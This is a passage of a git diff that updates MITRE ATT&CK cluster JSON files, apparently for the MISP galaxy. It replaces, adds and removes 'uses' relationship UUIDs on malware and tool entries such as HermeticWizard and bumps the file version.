"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", "tags": [ @@ -52795,21 +52191,21 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52822,20 +52218,6 @@ ], "type": "uses" }, - { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -52844,14 +52226,14 @@ "type": "uses" }, { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52865,7 +52247,7 @@ "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52885,6 +52267,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -52900,7 +52289,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56630,21 +56019,21 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56657,13 +56046,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", "tags": [ @@ -56671,20 +56053,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -56692,6 +56060,20 @@ ], "type": "uses" }, + { + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -56706,26 +56088,26 @@ ], "type": "uses" }, + { + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878", @@ -56929,14 +56311,14 @@ "type": "uses" }, { - "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56950,14 +56332,14 @@ "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56971,14 +56353,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56992,14 +56367,7 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57020,7 +56388,7 @@ "type": "uses" }, { - "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57039,13 +56407,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "aef537ba-10c2-40ed-a57a-80b8508aada4", @@ -58095,7 +57456,14 @@ }, "related": [ { - "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -58116,14 +57484,14 @@ "type": "uses" }, { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -58142,20 +57510,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "22faaa56-a8ac-4292-9be6-b571b255ee40", @@ -58192,7 +57546,14 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -58220,7 +57581,21 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -58233,20 +57608,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -58267,13 +57628,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "e296b110-46d3-4f7a-894c-cc71ea50168c", @@ -59676,14 +59030,14 @@ "type": "uses" }, { - "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59697,21 +59051,7 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "60623164-ccd8-4508-a141-b5a34820b3de", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59731,6 +59071,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", "tags": [ @@ -59746,21 +59093,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59781,7 +59114,7 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59795,14 +59128,7 @@ "type": "uses" }, { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59823,7 +59149,14 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59837,14 +59170,21 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -60326,14 +59666,21 @@ }, "related": [ { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -60346,20 +59693,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -60368,7 +59701,7 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -60382,7 +59715,7 @@ "type": "uses" }, { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -60409,6 +59742,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -60417,14 +59757,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62603,14 +61936,21 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62631,21 +61971,21 @@ "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62671,20 +62011,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "aecc0097-c9f8-4786-9b39-e891ff173f54", @@ -62925,14 +62251,14 @@ "type": "uses" }, { - "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62952,6 +62278,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -62960,28 +62293,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62994,6 +62306,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -63016,14 +62335,14 @@ "type": "uses" }, { - "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -63232,7 +62551,14 @@ }, "related": [ { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -63246,7 +62572,7 @@ "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -63259,6 +62585,13 @@ ], "type": "uses" }, + { + "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -63266,13 +62599,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -63280,20 +62606,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -63307,13 +62619,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "a0d774e4-bafc-4292-8651-3ec899391341", @@ -63336,7 +62641,7 @@ }, "related": [ { - "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", + "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -63349,6 +62654,20 @@ ], "type": "uses" }, + { + "dest-uuid": "37047267-3e56-453c-833e-d92b68118120", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -63356,6 +62675,13 @@ ], "type": "uses" }, + { + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -63377,6 +62703,13 @@ ], "type": "uses" }, + { + "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -63385,7 +62718,7 @@ "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -63399,21 +62732,7 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -63426,13 +62745,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -63441,14 +62753,14 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -65699,7 +65011,7 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -65739,13 +65051,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "96ea1e13-d50f-45f1-b0cf-4ac9bc5a2d62", @@ -68323,5 +67628,5 @@ "value": "HermeticWizard - S0698" } ], - "version": 25 + "version": 26 } diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json index 1e8736f..92f19d3 100644 --- a/clusters/mitre-tool.json +++ b/clusters/mitre-tool.json @@ -1564,14 +1564,7 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1598,13 +1591,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -1620,21 +1606,35 @@ "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], 